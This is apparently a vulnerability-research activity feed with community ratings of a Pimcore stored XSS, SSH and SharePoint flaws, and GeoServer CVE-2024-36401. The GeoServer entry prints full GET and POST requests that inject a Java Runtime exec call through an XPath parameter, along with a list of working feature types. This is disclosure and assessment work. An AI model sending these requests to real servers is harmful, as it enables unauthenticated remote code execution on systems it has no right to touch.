Activity Feed

1
Ratings
  • Attacker Value
    Very Low
  • Exploitability
    High
Technical Analysis

Description

Missing Sanitization of $item->getGroup() (lines 864 and 1269) in fieldcollectionTreeAction/objectbrickTreeAction functions in bundles/AdminBundle/Controller/Admin/DataObject/ClassController.php allows Admin User to perform Source Code Injection through Stored Group Fields (in Object Bricks/Field Collection under settings module) resulting in Information Exposure (cookie theft).

Analysis

What makes this vulnerability stored is that the Group fields (for the listings under Object Bricks or Field Collection in the Settings Module) are saved to the database in the objectbrickUpdateAction function (serves the route /objectbrick-update for the methods {“PUT”, “POST”}).

Example of the PUT request: https://demo.pimcore.com/admin/class/objectbrick-update

That means the patch only mitigates the XSS in the objectbrickTreeAction function (serves the route /objectbrick-tree for the methods={“GET”, “POST”}).

Example of the GET request: https://demo.pimcore.com/admin/class/objectbrick-tree?_dc=1721102886220&grouped=1&node=0

The execution would happen in the Object Bricks/Field Collection listings for Data Objects in the Settings Module (span with class x-tree-node-text in a table with id treeview-record)

Rating

The attack is relatively straightforward (XSS payloads are well documented and relatively easy to craft), requiring low privileges (anyone could access the Demo with privileged permissions and target other active users) and minimal complexity, though user interaction is needed.
The vulnerability can lead to limited data exposure and modification but does not significantly impact availability. Since the Demo resets every two hours (restoring all data to the default state), it is minimally valuable.

1

Quick follow up – I presume if port 22 is not public-facing then the criticality is much lower.

3

Check it out, Santander’s team investigation, analysed on fake SSH exploits POC.

https://santandersecurityresearch.github.io/blog/sshing_the_masses

1
Ratings
Technical Analysis

This vulnerability also requires authentication, but any SharePoint user with Site Owner permissions can hit it. However, the default configuration of SharePoint allows authenticated users to create sites. That’s why I disagree with Microsoft’s CVSS rating here. By changing “Privileges Required” to low instead of high, it takes it from a 7.2 to (IMHO) more accurate 8.8

The POC disclosed shows up the easy exploitation despite to be authenticated.

3
Ratings
Technical Analysis

GeoServer is an open-source software server written in Java that provides the ability to view, edit, and share geospatial data. It is designed to be a flexible, efficient solution for distributing geospatial data from a variety of sources such as Geographic Information System (GIS) databases, web-based data, and personal datasets.

In the GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer, multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions. It is confirmed that is exploitable through WFS GetFeature, WFS GetPropertyValue, WMS GetMap, WMS GetFeatureInfo, WMS GetLegendGraphic and WPS Execute requests.

Examples of an evil XPath request.

GET method request using the WFS GetPropertyValue

GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/pawned') HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0

POST method request using the WFS GetPropertyValue

POST /geoserver/wfs HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/pawned')</wfs:valueReference>
</wfs:GetPropertyValue>

When successful, the response will return a java.lang.ClassCastException error and file tmp/pawned will be created.

It is important that the typeNames or feature types like sf:archsites exists in the GeoServer configuration. Also some typeNames/feature types do not work. You can find a working list of default typeNames / feature types below.

allowed_feature_types = ['sf:archsites', 'sf:bugsites', 'sf:restricted', 'sf:roads', 'sf:streams', 'ne:boundary_lines', 'ne:coastlines', 'ne:countries', 'ne:disputed_areas', 'ne:populated_places']

There are multipe method request using different XPath expressions. You can find a full set of examples here.
It is Chinese, but Google translate can help you out here ;–)

I have created a Metasploit module that exploits this vulnerability. It works both on Linux and Windows (credits go to jheysel-r7 to make windows work!)

Mitigation

Versions 2.23.6, 2.24.4, and 2.25.2 contain a patch for the issue.

References

CVE-2024-36401
Metasploit Module – GeoServer unauthenticated RCE
POC examples in Chinese
GeoServer Advisory: GHSA-6jj6-gm7p-fcvv